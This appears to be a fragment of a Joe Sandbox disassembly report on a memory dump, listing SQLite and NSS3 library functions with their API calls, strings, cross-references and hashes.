sqlite_master, xrefs: 6CF2F0AB, 6CF2F2DA, 6CF2F757, 6CF2F93E
there is already an index named %s, xrefs: 6CF2F9D7
table, xrefs: 6CF2F05C, 6CF2FABC, 6CF2FAC7
temporary table name must be unqualified, xrefs: 6CF2F734
authorizer malfunction, xrefs: 6CF2F95C, 6CF2F9BF, 6CF2FA5E, 6CF2FA8B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 00780cc6fa20fb4928758af27af3e1b782db9ebf744d182a4788a09c68a15213
Instruction ID: 391025a093ff1a22b81eecd50aa54cb0b0d36c18eb16beb51f61dc4aa7558cdf
Opcode Fuzzy Hash: 00780cc6fa20fb4928758af27af3e1b782db9ebf744d182a4788a09c68a15213
Instruction Fuzzy Hash: 8F72D170E142258FDB54CFA8C480BAABBF1FF49308F1581ADD8159B792D779E846CB90

Function 6D049C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CF1C52B), ref: 6D049D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D04A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D04A114

Strings

%s at line %d of [%.10s], xrefs: 6D04A02E, 6D04A10D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6D04A01F, 6D04A0E4, 6D04A0FE
database corruption, xrefs: 6D04A029, 6D04A108

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: db09f950ba8639dcb379580c3276a28f43a227540de90cd3f0463ad0b9367bfc
Instruction ID: 2acf529c053051e2910b3008ec6fcbfb7c589c7f998e56039c209c556e4834cb
Opcode Fuzzy Hash: db09f950ba8639dcb379580c3276a28f43a227540de90cd3f0463ad0b9367bfc
Instruction Fuzzy Hash: 1F229A71648341DFE705CF29C290B2ABBE1BF8A348F50CA3DE99A97251D731E845CB42

Function 6D069D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CF28637,?,?), ref: 6D069E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CF28637), ref: 6D069ED6

Strings

%s at line %d of [%.10s], xrefs: 6D069ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6D069EC0
database corruption, xrefs: 6D069ECA

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 850a32848b2b4957467b215d73009d4990816ac2d31f535f6d8697ef041ffc7b
Instruction ID: 1c65f210be6e4fdde706b199568ead82c4b3970385f945e2a7a3b26819b9920a
Opcode Fuzzy Hash: 850a32848b2b4957467b215d73009d4990816ac2d31f535f6d8697ef041ffc7b
Instruction Fuzzy Hash: 6A81B431B002568FEB04CFAAD980BEEB3F6FF48304B558169E915AB641D730EE55CB60

Function 6D077F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6D0781BC

Strings

BINARY, xrefs: 6D078126
out of memory, xrefs: 6D07835B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 93121b6fe17cb489bf7a18492ade576a4b4ff67a51bb1e1b95720b190094dc19
Instruction ID: e1e38553226b6a898df8a42fcd26017d055782dc24b7b012e9b3a91c677e3947
Opcode Fuzzy Hash: 93121b6fe17cb489bf7a18492ade576a4b4ff67a51bb1e1b95720b190094dc19
Instruction Fuzzy Hash: A2528C71E042199FEB24CF98C890BADBBF2FF48314F158069D919AF351D770A842CB94

Function 6CFF9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CFF9ED6

Part of subcall function 6CFF14C0: TlsGetValue.KERNEL32 ref: 6CFF14E0
Part of subcall function 6CFF14C0: EnterCriticalSection.KERNEL32 ref: 6CFF14F5
Part of subcall function 6CFF14C0: PR_Unlock.NSS3 ref: 6CFF150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CFF9EE4

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFF9F38

Part of subcall function 6CFFD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CFF9F0B), ref: 6CFFD03B
Part of subcall function 6CFFD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CFFD04E
Part of subcall function 6CFFD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CFFD07B
Part of subcall function 6CFFD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CFFD08E
Part of subcall function 6CFFD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFFD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFF9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CFF9F59

Part of subcall function 6CFF9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CFF9C5B), ref: 6CFF9D82
Part of subcall function 6CFF9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CFF9C5B), ref: 6CFF9DA9
Part of subcall function 6CFF9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CFF9C5B), ref: 6CFF9DCE
Part of subcall function 6CFF9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CFF9C5B), ref: 6CFF9E43

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: b71cd33f07aeb07ddac22469b8c07825e7551969622a7e59e0c88191044bef5b
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 67112BB5F042125BF7108E659C00B5B73A4EF9434CF154135E92ADB7A0FF62EA1A8792

Function 6D0ACDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0AD086
PR_Malloc.NSS3(00000001), ref: 6D0AD0B9
PR_Free.NSS3(?), ref: 6D0AD138

Strings

>, xrefs: 6D0ACF5B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 5b75327a19b649f12c3d62d7efc949d1a86f786b586823de6ea7977710e4453b
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: F9D14766B5464B0BFB1548FC88A13EE779397D2370F9C4329D9218B3E7F61988838365

Function 6CF2AC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

0m, xrefs: 6CF2ACC0, 6CF2AD22, 6CF2AD5E, 6CF2AE45
Pm, xrefs: 6CF2ADDB, 6CF2ADF5, 6CF2AE6A
pm, xrefs: 6CF2ADA7
winUnlockReadLock, xrefs: 6CF2AE9F
winUnlock, xrefs: 6CF2AE18

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID:
String ID: 0m$Pm$pm$winUnlock$winUnlockReadLock
API String ID: 0-3138551316
Opcode ID: dfe27ca39b7ce7baa2dc1481940f590be93093b003f3ee00ea950110b4b72052
Instruction ID: 3f5d0f7a6285073104b53b5c878aa73d4b5f6db9a5489c8a808dad019363d0c0
Opcode Fuzzy Hash: dfe27ca39b7ce7baa2dc1481940f590be93093b003f3ee00ea950110b4b72052
Instruction Fuzzy Hash: 2F717B71608244ABEB08CF28D894BAABBF5FF89314F14C61DFD4997241D730E985CB95

Function 6D04AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f1ba0c9416d6c47437cdbce9f3a103b9a2c345776ffa0d369826f8a9a2d6c1f
Instruction ID: b44b92f3fbb90c84e484f5191c86cb54f54780730610e08b98584d8c757d46fe
Opcode Fuzzy Hash: 6f1ba0c9416d6c47437cdbce9f3a103b9a2c345776ffa0d369826f8a9a2d6c1f
Instruction Fuzzy Hash: FCF1BDB1E0025ACFEB04CF68E940BBE77F4AB8A708F158139D905D7354EB74A991CB81

Function 6D03DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CF15001,?,00000003,00000000), ref: 6D03DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CF15001,?), ref: 6D03E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CF15001,?), ref: 6D03E2DA

Strings

W, xrefs: 6D03E111

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 27d30e6a3e529f513061b8c01b603c5bcfefab9b0c5fcbad7face6a6fdc406bf
Instruction ID: 9bf839b246e85d3e942700c84a5829d9c0c06cb9fb164b506e3641a9f70f86e4
Opcode Fuzzy Hash: 27d30e6a3e529f513061b8c01b603c5bcfefab9b0c5fcbad7face6a6fdc406bf
Instruction Fuzzy Hash: 29C1B571A042678BEB05CE2584907BE77F1BF86304F5A8379DCA9DB242D731AD41CB90

Function 6CF24DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

0m, xrefs: 6CF24EDE, 6CF24F82
Pm, xrefs: 6CF25019, 6CF250FA, 6CF25157, 6CF251DE, 6CF251F2, 6CF2520D, 6CF25220, 6CF252A2, 6CF252B5
pm, xrefs: 6CF24E1C, 6CF24E81, 6CF24FDE, 6CF25047, 6CF250BB, 6CF251A3, 6CF2526C
winUnlockReadLock, xrefs: 6CF25125

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID:
String ID: 0m$Pm$pm$winUnlockReadLock
API String ID: 0-34730547
Opcode ID: f14d04a05fa15b86e811a9fc9feeca49ff36dbe16142ef0b47006e5fe8546cc7
Instruction ID: b2d2418080d937f70ec2f7a7f01ec4d51a217759b74088e94fd19c95de185f7a
Opcode Fuzzy Hash: f14d04a05fa15b86e811a9fc9feeca49ff36dbe16142ef0b47006e5fe8546cc7
Instruction Fuzzy Hash: 3EE137709083449FDB08DF28D58875ABBF0FF8A718F118A1DF88997251E774E985CB86

Function 6CF26F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

noskipscan*, xrefs: 6CF27067
sz=[0-9]*, xrefs: 6CF27049
unordered*, xrefs: 6CF2702B
*?[, xrefs: 6CF27034, 6CF27052, 6CF27070

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: d44878763ea3a4aa9653f9823d16dcdd76b26fb5603f90eb269915b904dc2c87
Instruction ID: 278ac4386f2c783fc4bd5d19263a6ff38cd2d3388d05d75827198e12d84c0354
Opcode Fuzzy Hash: d44878763ea3a4aa9653f9823d16dcdd76b26fb5603f90eb269915b904dc2c87
Instruction Fuzzy Hash: 29718E32F042114BEB20CAEDC88039FB7A29F85314F25027ADD55ABBC1E7795C4A87D1

Function 6CF43EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6CF4460F
sqlite_master, xrefs: 6CF4463F
sqlite_, xrefs: 6CF43FAA, 6CF44185

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 72daf4ab27fdd427a5247d37adca4097580d95ab6878a5e2a7e76dce727ffe72
Instruction ID: 0c1a388a2045e80515228335adf55aab59ec5b871069d12467ae8408e89b942c
Opcode Fuzzy Hash: 72daf4ab27fdd427a5247d37adca4097580d95ab6878a5e2a7e76dce727ffe72
Instruction Fuzzy Hash: 83226A21B491954FEB058F2980606BB7FF2AF47318B2CC5A8D9E17FA57C631E842C750

Function 6D07BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6D07C0B6

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 2a36f261d3671e0ff5c7b909b8c478e45b0eae1345bf737e846dedc67e455903
Instruction ID: 4d66ce6c5827007611fbba651b372da19557f74ba5bd588c46c09f3d766c43fc
Opcode Fuzzy Hash: 2a36f261d3671e0ff5c7b909b8c478e45b0eae1345bf737e846dedc67e455903
Instruction Fuzzy Hash: AB924D74A0420A8FEB25CF54C890BBEB7F2FF89304F148168D915AB391D735E856CB99

Function 6CF13D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CF13EA9

Strings

0, xrefs: 6CF13DAB

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: e4fe510c2acd34f99dd7de6e427e75871d17aa63c0f6a478fd6a924fc6e9da03
Instruction ID: c6fbf0caa4863487dfa44a1ce8037651ca818e0d71b5533d0e5ef677240145bb
Opcode Fuzzy Hash: e4fe510c2acd34f99dd7de6e427e75871d17aa63c0f6a478fd6a924fc6e9da03
Instruction Fuzzy Hash: 97513B36E4D2798AEB15467D88603FFFBB19B83314F1D4329C5A567EC1C274454E8790

Function 6CFBEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFBF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CFBF0F9

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 18b4e369b9b2549ef37e31448084b321136cc5335982ecaf98b1a30b606b88f2
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 8091BE79E0121A8BCB14CF69C8906AEB7F1FF85324F25472DD966A7BD0D730A905CB90

Function 6CFE2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6D007929), ref: 6CFE2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6D007929), ref: 6CFE2FE0

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
